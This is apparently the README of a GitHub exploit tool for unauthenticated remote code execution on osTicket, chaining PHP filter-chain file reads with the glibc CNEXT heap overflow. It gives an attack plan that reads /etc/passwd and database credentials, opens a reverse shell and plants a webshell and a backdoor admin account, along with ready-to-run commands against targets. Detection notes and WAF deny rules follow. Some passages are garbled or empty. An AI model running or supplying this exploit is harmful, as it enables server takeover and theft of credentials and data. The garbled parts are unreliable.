clarissss/osticketfilereadintorceFull-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.
Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.
This repository contains a proof-of-concept exploit for CVE-2026-22200, a critical vulnerability affecting osTicket versions ≤ 1.18.2. The exploit chains two powerful techniques:
The result: Unauthenticated Remote Code Execution on vulnerable osTicket servers.
CVSS Score: 9.8 (Critical)
osTicket's mPDF integration allows unauthenticated users to inject malicious PHP filter chains through specially crafted HTML payloads in support tickets. This enables:
Root Cause: Insufficient validation of image URLs in user-supplied HTML before passing to mPDF.
CVSS Score: 9.8 (Critical)
Buffer overflow in glibc's iconv() when processing the ISO-2022-CN-EXT character set. Combined with PHP filter chains, this allows:
Vulnerable glibc versions: < 2.39 (February 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE │
│ └─ Detect osTicket, identify rich-text topics │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTICATION │
│ └─ Self-register OR use existing credentials │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. FILE EXFILTRATION (PHP Filter Chains) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB credentials, SECRET_SALT) │
│ ├─ /proc/self/maps (memory layout) │
│ └─ /proc/self/environ (environment variables) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC FINGERPRINTING │
│ ├─ Extract partial libc via filter chains │
│ ├─ Extract GNU Build ID │
│ └─ Download full libc from libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE EXPLOITATION │
│ ├─ Generate heap corruption payload │
│ ├─ Inject via ticket reply (with filter execution fixes) │
│ ├─ Trigger via PDF export (server crashes) │
│ └─ Execute reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOITATION │
│ ├─ Interactive reverse shell │
│ ├─ Database access (using exfiltrated DBPASS) │
│ └─ Create backdoor admin account │
└─────────────────────────────────────────────────────────────────┘
# Clone the repository
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Install required packages
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OR
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Use proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Force specific help-topic ID
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# Disable colored output (for logging)
python3 osticket_exploit.py https://target.com/osticket --no-color
If registration is disabled, you'll be prompted for credentials:
python3 osticket_exploit.py https://target.com/osticket
[?] Enter email for new account (or existing): [email protected]
[?] Enter password: ********
The exploit uses a sophisticated filter chain to prepend a BMP header to arbitrary files, bypassing mPDF's file type restrictions:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv transformations ...]
convert.base64-decode/resource=/etc/passwd
Key Innovation: Each character of the BMP header is generated through carefully crafted iconv transformations, allowing arbitrary file content to be embedded as a "valid" image.
The CNEXT payload corrupts PHP's Zend memory manager by:
劄Enhanced Reliability:
劄 instead of 1)Unlike the original exploit, this version uses filesystem scanning to guarantee webshell location:
Result: 100% detection rate (vs ~50% in original)
Common failure: PDF downloads but doesn't crash = filters not executing.
Solutions Implemented:
stream=True forces immediate processing# In verbose mode, check:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT
If glibc ≥ 2.39, CNEXT won't work (patched).
Symptom: Server crashes but no reverse shell
Causes:
Fix:
# Use nc reverse shell (shorter)
# Automatically falls back if bash/python too long
# Or use direct IP instead of hostname
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # Use IP, not hostname
--lport 4444
| Error | Cause | Solution |
|---|---|---|
No CSRF token | Session expired | Re-run exploit |
No help-topic found | No rich-text topics | Use --topic-id manually |
Build ID not found | Partial libc corrupted | Check /proc/self/maps extraction |
Cannot locate heap | Unusual memory layout | Exploit may fail (rare) |
Log Indicators:
# Apache/Nginx logs
"php://filter/" in POST requests
"convert.iconv." in request bodies
Unusual PDF generation patterns
Multiple PDF requests in short time
# PHP error logs
Segmentation faults during PDF generation
iconv() crashes
Heap corruption errors
Network Indicators:
Disable PHP stream wrappers in mPDF:
// In mPDF config
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAF Rules (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'PHP filter detected'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Suspicious iconv chain'"
Rate Limiting:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY
This tool is provided for:
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL
The authors:
Users are solely responsible for ensuring they have proper authorization before testing any system.
By using this tool, you agree that:
Unauthorized access to computer systems is a crime under:
Maximum penalties may include imprisonment and significant fines.
This project is licensed under the MIT License - see the LICENSE file for details.
Note: The MIT License grants permission for use, modification, and distribution, but does NOT grant permission to attack systems you don't own or have authorization to test.
For security researchers and questions:
Do NOT use this contact for:
Built with Love for security research and education
Star this repo if you found it useful!
| Metric | Value |
|---|---|
| Lines of Code | ~3,000 |
| Success Rate | 95%+ (with fixes) |
| Average Runtime | 2-3 minutes |
| Crash Reliability | 99% (with enhancements) |
| Webshell Detection | 100% (with scanning) |
Last Updated: 2026-03-03